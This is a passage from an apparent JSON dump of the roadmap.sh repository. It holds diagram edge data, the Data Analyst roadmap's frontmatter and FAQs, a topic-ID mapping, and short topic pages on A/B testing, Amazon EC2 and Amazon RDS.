true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TeewVruErSsD4VLXcaDxp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"murioZ0NdrTix_lqSGz-8\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHy2-murioZ0NdrTix_lqSGz-8z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TeewVruErSsD4VLXcaDxp\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"g45cn450Awr2W5hadxKY3\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHx2-uZD9Hf3dY9acGZAmmQtdww1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"g45cn450Awr2W5hadxKY3\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"f4GuzeokP9w_gwtOquP0g\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-uZD9Hf3dY9acGZAmmQtdwx2-SiYUdtYMDImRPmV2_XPkHw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"f4GuzeokP9w_gwtOquP0g\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_aUQZWUhFRvNu0MZ8CPit\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-f4GuzeokP9w_gwtOquP0gz2-SiYUdtYMDImRPmV2_XPkHy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"il6KQXVPGBza5libN38ib\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"mCUW07rx74_dUNi7OGVlj\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-il6KQXVPGBza5libN38iby2-mCUW07rx74_dUNi7OGVljz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_aUQZWUhFRvNu0MZ8CPit\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_aUQZWUhFRvNu0MZ8CPity2-SiYUdtYMDImRPmV2_XPkHz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"29NGSuCu_LZ2DhGNwq4UE\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHw2-29NGSuCu_LZ2DhGNwq4UEx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NhmKafQe87sR8hqPBWszq\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHy2-owMhaho3OruAkPEVjfIk1z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"owMhaho3OruAkPEVjfIk1\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHx2-owMhaho3OruAkPEVjfIk1w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"yvdfoly5WHHTq2Puss355\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"XzXLGjJr2F8Ln7gP0e5N8\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-yvdfoly5WHHTq2Puss355z2-XzXLGjJr2F8Ln7gP0e5N8w2\",\n      \"selected\": false,\n      \"type\": \"step\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lse0W6_nPrjGJGW2bVFfM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"XzXLGjJr2F8Ln7gP0e5N8\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-lse0W6_nPrjGJGW2bVFfMx2-XzXLGjJr2F8Ln7gP0e5N8w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"type\": \"simplebezier\",\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_aUQZWUhFRvNu0MZ8CPit\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"m1IfG2sEedUxMXrv_B8GW\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-_aUQZWUhFRvNu0MZ8CPitx2-iTmtpXe7dR4XKslgpsk2qw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YDomoxzf-65sru6XVu0_X\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"r1ZlPtp7j6PFIdgrFrOx0\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YDomoxzf-65sru6XVu0_Xz2-r1ZlPtp7j6PFIdgrFrOx0w1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TeewVruErSsD4VLXcaDxp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"lTycWscyFPi-BtkNg9cdm\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-TeewVruErSsD4VLXcaDxpy2-lTycWscyFPi-BtkNg9cdmz1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BnvNJCHnPsTo25Hn0dN9v\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YDomoxzf-65sru6XVu0_X\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-BnvNJCHnPsTo25Hn0dN9vz2-YDomoxzf-65sru6XVu0_Xy1\",\n      \"selected\": false\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/data-analyst/data-analyst.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/data-analyst.json'\npdfUrl: '/pdfs/roadmaps/data-analyst.pdf'\norder: 4\nrenderer: \"editor\"\nbriefTitle: 'Data Analyst'\nbriefDescription: 'Step by step guide to becoming an Data Analyst in 2025'\ntitle: 'Data Analyst Roadmap'\ndescription: 'Step by step guide to becoming an Data Analyst in 2025'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 2650\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\nschema:\n  headline: 'Data Analyst Roadmap'\n  description: 'Learn how to become an Data Analyst with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/data-analyst.png'\n  datePublished: '2024-04-02'\n  dateModified: '2024-04-02'\nquestion:\n  title: 'What is Data Analysis?'\n  description: |\n    Data analysis is the process of transforming data into insights. It gives organizations the ability to support strategic business decisions. \n\n    In a nutshell, this practice involves collecting data from different data sources, cleaning data to remove errors, and then applying different techniques to find patterns and identify anomalies. While the role of data analysts might be often confused with data scientists, those roles are not exactly the same.\n\n    By using tools like data visualization and techniques, such as creating charts with Power BI or Microsoft Excel, you can present data in a way that helps stakeholders interpret it and make informed decisions (this is what the industry calls “data-driven decisions”).\n\n    In essence, it’s all about using technical skills, different languages, and methods such as predictive modeling to analyze the data, predict future trends, and ultimately support the so-called data-driven insights.\n\n    ## What does a Data Analyst do?\n\n    A data analyst does many things, because the role itself is very versatile, it involves everything from collecting data to the presentation of findings (i.e. plotting results in charts, or presenting reports with found insights) and everything in between.\n\n    To be more specific, a data analyst's work revolves around collecting and gathering data from databases, spreadsheets, and other data sources (usually structured data sources). They perform data analysis by cleaning data and then applying techniques such as regression analysis, and data mining to model data. The final aim is to identify trends and predict outcomes.\n\n    With a strong foundation in both computer science and data science, they can use different programming languages and various tools to analyze data and generate reports or visualizations that support strategic decisions.\n\n    By the nature of their work, no matter if they’re finding anomalies, performing predictive analytics, or simply solving problems with data-driven insights, data analysts function at the intersection of tech skills (i.e. coding) and business intelligence (they can’t produce meaning results if they don’t understand the business), transforming an organization’s data into data-driven decisions.\n\n    ## What skills are required for Data Analysis?\n\n    There are several skills required for data analysis, and they’re all technical skills. Data analysts must start by getting a solid foundation in working with raw data. They then need the ability to ingest and collect data from different sources—be it through databases, spreadsheets like Microsoft Excel or Google Sheets, or specialized data collection tools.\n\n    Once you’ve gathered the data comes data cleaning. This means removing inconsistencies, errors, and outliers so that your data sets are accurate and reliable. Techniques like statistical analysis and data mining help you identify anomalies and ensure that you’re working with data that truly represents your problem universe.\n\n    With the clean data, the next logical step is to analyze it. This involves using several techniques, such as regression analysis, and statistical modeling to recognize patterns and trends. In the end, the end goal is to learn from the data and share those insights with the business.\n\n    When it comes to skills, understanding and having proficiency in languages such as Python or R, along with expertise in various tools like Power BI, are incredibly valuable here. They enable you to perform predictive modeling and even apply machine learning techniques when needed.\nseo:\n  title: 'Data Analyst Roadmap'\n  description: 'Learn to become an Data Analyst using this roadmap. Community driven, articles, resources, guides, interview questions, quizzes for modern data analysts.'\n  keywords:\n    - 'data analyst roadmap 2025'\n    - 'data analytics roadmap 2025'\n    - 'guide to becoming an data analyst'\n    - 'easy data analyst roadmap'\n    - 'data analyst'\n    - 'data analyst roadmap'\n    - 'data scientist roadmap'\n    - 'data analytics skills'\n    - 'data analyst skills'\n    - 'skills for data analyst'\n    - 'data analyst quiz'\n    - 'data analyst interview questions'\nrelatedRoadmaps:\n  - 'sql'\n  - 'ai-data-scientist'\n  - 'postgresql-dba'\n  - 'python'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/data-analyst/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../components/FAQs/FAQs.astro';\n\nexport const faqs: FAQType[] = [\n  {\n    question: 'Is Data Analysis a good career choice?',\n    answer: [\n      'Data analysis is a good career choice, in fact, it\\'s a great career choice if you think about how technology is at the core of every company, and by definition, company operations produce data that can later be used to gather insights. Using these insights to drive decisions, and innovation and decide the future of the company, helps ensure these decisions are based on reality.',\n      'With organizations increasingly relying on data to support decision-making, the demand for professionals who can analyze data, interpret data, and identify future trends is exceptionally high.',\n      'This field not only offers the opportunity to work as a data analyst and develop your findings using different analysis and mining techniques, but also allows you to be a key player in making strategic business decisions.',\n      'The field of data analytics is continuously growing and advancing with new techniques, AI-driven analysis or even new visualization tools, ensuring that a career as a data analyst is both challenging and rewarding for those who want to stay competitive and solve problems with actionable knowledge.',\n    ],\n  },\n  {\n    question: 'Are Data Analysts well paid?',\n    answer: [\n      'Data analysts are generally well paid, reflecting both the complexity of their role and the high demand for their data analyst skills. While salaries depend on experience, location, and industry, data analysts are usually very well paid.',\n      'For example, according to Glassdoor, data analysts start with an average salary of 111,000 USD in the United States, and can go up to 140,000 USD (on average) after 10 to 15 years of experience.',\n      'The ability to collect and analyze data, through the use of sophisticated tools that generate insights makes data analysts invaluable to organizations of all sizes.',\n      'The current labor statistics and market trends indicate that data analysts continue to be in high demand.',\n    ],\n  },\n  {\n    question: 'What qualifications do I need to be a Data Analyst?',\n    answer: [\n      'To be a data analyst, most employers look for a solid educational foundation, usually a bachelor\\'s degree in computer science, business administration, or data science.',\n      'However, the needs of the organization tend to also determine the type of qualifications needed to get the job. Besides formal education, practical experience with programming languages, data tools, and data cleaning is crucial.',\n      'You need to be comfortable using tools like (or similar to) Microsoft Excel, Power BI, or Google Sheets to collect data and perform analysis. On top of that, proficiency in statistics, predictive modeling, and even a touch of machine learning are all great skills to have, along with the ability to communicate what you find clearly, this last one being key because as a data analyst you\\'ll be doing it quite a lot.',\n      'Many successful data analysts develop these skills through a mix of formal education and self-learning, allowing them to analyze and model data, gathering insights from it.',\n    ],\n  },\n  {\n    question: 'Can I teach myself Data Analysis?',\n    answer: [\n      'Yes, you can definitely teach yourself data analysis. Many devs looking to [become a data analyst](https://roadmap.sh/data-analyst/how-to-become) have built their careers by self-studying the principles of statistical analysis, and predictive analytics. Just like with any other technical profession, if you are able to pick up the knowledge on your own, you\\'re more than capable of applying it on your day-to-day.',\n      'And to get there, you can use one (or several) of the many online courses,  tutorials and roadmaps (like this one) that cover everything from data collection and data cleaning to using advanced languages and data tools. Pick the ones that resonate with you the most, and go for it.',\n      'The more you learn about the data analyst role and how to create effective data visualizations, the more you develop the technical skills necessary to support informed decisions and drive business intelligence. The first step is to start with the basics, such as understanding how to work with raw data and performing statistical analysis, and then gradually move on to more advanced topics like machine learning.',\n      'With dedication and continuous practice, you can acquire the necessary data analyst skills and become a successful data analyst without formal classroom training.',\n      'If you want to get an idea of the difficulty level, have a look at our guide on the most popular [Data Analyst interview questions](https://roadmap.sh/questions/data-analyst).'\n    ],\n  },\n  {\n    question: 'Is Data Analysis an IT job?',\n    answer: [\n      'Data Analysis is an IT job exactly like software development. In fact, one could say that while it involves significant technical expertise and the use of IT tools, it is much more than \"just an IT job\".',\n      'The job of a data analyst blends practices like business intelligence, data science, and computer science to transform raw data into actionable insights.',\n      'A data analyst uses technical skills such as programming, statistical modeling, and data cleaning, but the primary focus is on turning an organization\\'s data into clear, actionable insights that support strategic decisions.',\n      'This interdisciplinary approach ensures that data analysis is not confined to traditional IT roles, but is an essential function that supports business decisions and helps organizations stay competitive in a rapidly changing market.',\n    ],\n  },\n];\n---\n"
  },
  {
    "path": "src/data/roadmaps/data-analyst/migration-mapping.json",
    "content": "{\n  \"introduction\": \"3xp2fogAVmwXQhdzhZDWR\",\n  \"introduction:types-data-analytics\": \"Lsapbmg-eMIYJAHpV97nO\",\n  \"introduction:types-data-analytics:descriptive\": \"hWDh0ooidbqZb000ENVok\",\n  \"introduction:types-data-analytics:diagnostic\": \"j7DA2J3speSaBsZAV4M0v\",\n  \"introduction:types-data-analytics:predictive\": \"3WZORRCwme3HsaKew23Z5\",\n  \"introduction:types-data-analytics:prescriptive\": \"DFMR-0MbmVCCrJu0I9JWG\",\n  \"introduction:data-analytics\": \"yCnn-NfSxIybUQ2iTuUGq\",\n  \"introduction:keyconcepts-for-data\": \"R12sArWVpbIs_PHxBqVaR\",\n  \"introduction:keyconcepts-for-data:collection\": \"mDUSpexdq3ITV6qokwSJl\",\n  \"introduction:keyconcepts-for-data:cleanup\": \"nC7tViln4UyQFYP_-fyjB\",\n  \"introduction:keyconcepts-for-data:exploration\": \"XFnw4_dQYSzm96-srWa7X\",\n  \"introduction:keyconcepts-for-data:visualization\": \"jowh4CFLQiFzKaaElyCuQ\",\n  \"introduction:keyconcepts-for-data:statistical-analysis\": \"2pUq-7hu5EjGpowz98YoV\",\n  \"introduction:keyconcepts-for-data:machine-learning\": \"U55hwR0HRCIz2cveVR8FZ\",\n  \"excel\": \"sgXIjVTbwdwdYoaxN3XBM\",\n  \"excel:basic-functions:if\": \"wME4MSldOWlMB54ekpReS\",\n  \"excel:basic-functions:datedif\": \"yBlJrNo9eO470dLp6OaQZ\",\n  \"excel:basic-functions:vlookup-hlookup\": \"9sIP-jpNjtA1JPCBjTf-H\",\n  \"excel:basic-functions:replace-substitute\": \"dke_pySrqYZZ7K3rprnIT\",\n  \"excel:basic-functions:upper-lower-proper\": \"YReKRRgE_2dWfGGdBQqbf\",\n  \"excel:basic-functions:concat\": \"SIiIfcy-jeiRoDlxw385V\",\n  \"excel:basic-functions:trim\": \"D5Q6o6ydr1j51kB0ASFPE\",\n  \"excel:basic-functions:average\": \"FDYunL9KJkR_tHEcUV2iC\",\n  \"excel:basic-functions:count\": \"uAdxP1ZkgzcU8JcWjvw6d\",\n  \"excel:basic-functions:sum\": \"_FO80Cm2iAD_bThmnsEgp\",\n  \"excel:basic-functions:min-max\": \"F3-cr5onkWqKKPRdxu8lV\",\n  \"excel:charting\": \"Vk3JErqxpnPY44iyfkLMl\",\n  \"excel:pivot-tables\": \"2DDJUFr0AJTVR2Whj8zub\",\n  \"sql\": \"i4VCwFm-wc9cqE73i-BIb\",\n  \"programming-language\": \"i2uEcaO4bJhcZ5ayRs2CQ\",\n  \"data-manipulation-libraries\": \"M1QtGTLyygIjePoCfvjve\",\n  \"data-visualization-libraries\": \"l1SnPc4EMqGdaIAhIQfrT\",\n  \"data-visualization-libraries:matplotlib\": \"uGkXxdMXUMY-3fQFS1jK8\",\n  \"data-visualization-libraries:ggplot2\": \"E0hIgQEeZlEidr4HtUFrL\",\n  \"data-manipulation-libraries:pandas\": \"8OXmF2Gn6TYJotBRvDjqA\",\n  \"data-manipulation-libraries:dplyr\": \"y__UHXe2DD-IB7bvMF1-X\",\n  \"programming-language:python\": \"4mVhtJA14q6buWhHzRzz7\",\n  \"programming-language:r\": \"g_EBQizZsIe-vn8ir6FTv\",\n  \"data-collection\": \"_sjXCLHHTbZromJYn6fnu\",\n  \"data-collection:databases\": \"tYPeLCxbqvMFlTkCGjdHg\",\n  \"data-collection:csv-files\": \"iWOK0mRY-hAGxMnHYJ0tt\",\n  \"data-collection:apis\": \"4DFcXSSHxg5wv0uXLIRij\",\n  \"data-collection:web-scraping\": \"qQ64ZhSlbbWu9pP8KTE67\",\n  \"data-cleaning\": \"E6cpb6kvluJM8OGuDcFBT\",\n  \"data-cleaning:missing-data\": \"X9WmfHOks82BIAzs6abqO\",\n  \"data-cleaning:removing-duplicates\": \"Xltm7B-8TZ1-igLjVJXoR\",\n  \"data-cleaning:finding-outliers\": \"-rQ8h_6NFxEOhxXgo7LHo\",\n  \"data-cleaning:data-transformation\": \"t_BRtEharsrOZxoyX0OzV\",\n  \"data-cleaning:pandas\": \"TucngXKNptbeo3PtdJHX8\",\n  \"data-cleaning:dplyr\": \"v8TfY-b4W5ygOv7r-syHq\",\n  \"descriptive-analysis\": \"il6KQXVPGBza5libN38ib\",\n  \"descriptive-analysis:central-tendency\": \"BJTVa4ur_bJB7mMtD2-hQ\",\n  \"descriptive-analysis:dispersion\": \"2ldO-_ZnIg364Eo8Jyfgr\",\n  \"descriptive-analysis:distribution-shape\": \"Fyqg3MRcwY7g-Q3gjiqwK\",\n  \"descriptive-analysis:central-tendency:mean\": \"923KGEUG9ofBm7dYkkrxz\",\n  \"descriptive-analysis:central-tendency:median\": \"qdXoikVh2xkJkOQNKcyvb\",\n  \"descriptive-analysis:central-tendency:mode\": \"fY8zVG2tVbmtx5OhY7hj-\",\n  \"descriptive-analysis:central-tendency:average\": \"yn1sstYMO9du3rpfQqNs9\",\n  \"descriptive-analysis:distribution-shape:skewness\": \"VfcCRRqwLxkYpIX0ZKNNX\",\n  \"descriptive-analysis:distribution-shape:kurtosis\": \"PqGO8AU1zE2ZdtqrIrOkZ\",\n  \"descriptive-analysis:dispersion:range\": \"tSxtyJhL5wjU0XJcjsJmm\",\n  \"descriptive-analysis:dispersion:variance\": \"ict4JkoVM-AzPbp9bDztg\",\n  \"descriptive-analysis:dispersion:standard-deviation\": \"MXIP8ekH4YtczODKM_G_l\",\n  \"descriptive-analysis:visualising-distributions\": \"mCUW07rx74_dUNi7OGVlj\",\n  \"data-visualization\": \"2g19zjEASJw2ve57hxpr0\",\n  \"data-visualization:tableau\": \"Sz2Y8HLbSmDjSKAJztDql\",\n  \"data-visualization:matplotlib\": \"tvDdXwaRPsUSTqJGaLS3P\",\n  \"data-visualization:seaborn\": \"-cJb8gEBvdVFf7FlgG3Ud\",\n  \"data-visualization:ggplot2\": \"n3M49lgNPn28hm7kzki-a\",\n  \"data-visualization:powerbi\": \"SJLeose5vZU8w_18C8_t0\",\n  \"data-visualization:bar-charts\": \"EVk1H-QLtTlpG7lVEenDt\",\n  \"data-visualization:histograms\": \"FEyBFZLaGJqTC-IUEcOVS\",\n  \"data-visualization:line-chart\": \"v9T0DX56jFNhUz9nzubzS\",\n  \"data-visualization:stacked-chart\": \"329BrtmXjXNLfi1SFfdeo\",\n  \"data-visualization:scatter-plot\": \"A5YQv7D4qRcskdZ64XldH\",\n  \"data-visualization:heatmap\": \"G8resQXEVEHCaQfDlt3nj\",\n  \"data-visualization:funnel-chart\": \"muFy-C2agCX9vR_NU7UZF\",\n  \"data-visualization:pie-chart\": \"K9xwm_Vpdup9ujYqlD9F3\",\n  \"statistical-analysis\": \"TeewVruErSsD4VLXcaDxp\",\n  \"statistical-analysis:hypothesis-testing\": \"Xygwu0m5TeYT6S_8FKKXh\",\n  \"statistical-analysis:correlation-analysis\": \"murioZ0NdrTix_lqSGz-8\",\n  \"statistical-analysis:regression\": \"lTycWscyFPi-BtkNg9cdm\",\n  \"machine-learning-basics:reinforcement\": \"XdBwqLoYYiLJNlWPBEDUj\",\n  \"machine-learning-basics:unsupervised\": \"FntL9E2yVAYwIrlANDNKE\",\n  \"machine-learning-basics:supervised\": \"FIYCkGXofKMsXmsqHSMh9\",\n  \"machine-learning-basics\": \"f4GuzeokP9w_gwtOquP0g\",\n  \"machine-learning-basics:model-evaluation-techniques\": \"7ikA373qH88HBx5irCgIH\",\n  \"machine-learning-basics:decision-trees\": \"vHDm_9Lh4EqvXNYSOBaqZ\",\n  \"machine-learning-basics:naive-bayes\": \"zbUw5PyVsdccbgDTRHg7d\",\n  \"machine-learning-basics:knn\": \"SStzU_iXSvI_9QWbvGNou\",\n  \"machine-learning-basics:kmeans\": \"h2xF5bZeUByDgsAi4dga2\",\n  \"machine-learning-basics:logistic\": \"ofOQKAIu4rezWmgZeE-KT\",\n  \"big-data\": \"_aUQZWUhFRvNu0MZ8CPit\",\n  \"big-data:concepts\": \"m1IfG2sEedUxMXrv_B8GW\",\n  \"big-data:data-processing-frameworks:hadoop\": \"wECWIRMlWNoTxz5eKwaSf\",\n  \"big-data:data-processing-frameworks:spark\": \"vaiigToDh4522rtWamuSM\",\n  \"big-data:data-storage-solutions\": \"iTmtpXe7dR4XKslgpsk2q\",\n  \"big-data:data-processing-techniques:parallel-processing\": \"Fwwve0j-KDfc605IIgmil\",\n  \"big-data:data-processing-techniques:mpi\": \"fqCAH4Enc4AAJHoSkk2Pe\",\n  \"big-data:data-processing-techniques:map-reduce\": \"eAM9orCNwzqh34uvGBVm8\",\n  \"deep-learning:cnns\": \"XlCv2OirEfuBFa4ranyyE\",\n  \"deep-learning:rnns\": \"Gocm98_tRg5BGxKcP-7zg\",\n  \"deep-learning:neutral-networks\": \"gGHsKcS92StK5FolzmVvm\",\n  \"deep-learning\": \"SiYUdtYMDImRPmV2_XPkH\",\n  \"deep-learning:tesnor-flow\": \"FJ4Sx477FWxyDsQr0R8rl\",\n  \"deep-learning:pytorch\": \"LJSqfz6aYJbCe_bK8EWI1\",\n  \"deep-learning:image-recognition\": \"bHPJ6yOHtUq5EjJBSrJUE\",\n  \"deep-learning:natural-language-processing\": \"DFv-eiYDicF4cA4jgVk9_\"\n}"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/ab-testing@5qe0q_llTzzNVudbONMYo.md",
    "content": "# A/B Testing\n\nA/B testing is a way to compare two versions of something to see which one works better. You split your audience into two groups, one sees version A, the other sees version B — and then you measure which version gets better results, like more clicks, sales, or sign-ups. This helps you make decisions based on real data instead of guesses.\n\nVisit the following resources to learn more:\n\n- [@article@A software engineer's guide to A/B testing](https://posthog.com/product-engineers/ab-testing-guide-for-engineers)\n- [@video@A/B Testing for Beginners](https://www.youtube.com/watch?v=VpTlNRUcIDo)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/amazon-ec2--compute@AHLsBfPfBJOhLlJ-64GcK.md",
    "content": "# Amazon EC2 ( Compute)\n\nAmazon Elastic Compute Cloud (EC2) is a web service that provides secure, resizable compute capacity in the cloud. It is designed to make web-scale cloud computing easier for developers. EC2’s simple web service interface allows you to obtain and configure capacity with minimal friction. EC2 enables you to scale your compute capacity, develop and deploy applications faster, and run applications on AWS's reliable computing environment. You have the control of your computing resources and can access various configurations of CPU, Memory, Storage, and Networking capacity for your instances.\n\nVisit the following resources to learn more:\n\n- [@official@EC2 - User Guide](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html)\n- [@video@Introduction to Amazon EC2](https://www.youtube.com/watch?v=eaicwmnSdCs)"
  },
  {
    "path": "src/data/roadmaps/data-engineer/content/amazon-rds-database@GtFk7phYGfXUhxanicYNQ.md",
    "content": "# Amazon RDS (Database)\n\nAmazon RDS (Relational Database Service) is a web service from Amazon Web Services. It's designed to simplify the setup, operation, and scaling of relational databases in the cloud. This service provides cost-efficient, resizable capacity for an industry-standard relational database and manages common database administration tasks. RDS supports six database engines: Amazon Aurora, PostgreSQL, MySQL, MariaDB, Oracle Database, and SQL Server. These engines give you the ability to run instances ranging from 5GB to 6TB of memory, accommodating your specific use case. It also ensures the database is up-to-date with the latest patches, automatically backs up your data and offers encryption at rest and in transit.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon RDS](https://aws.amazon.com/rds/)"
  },
  {
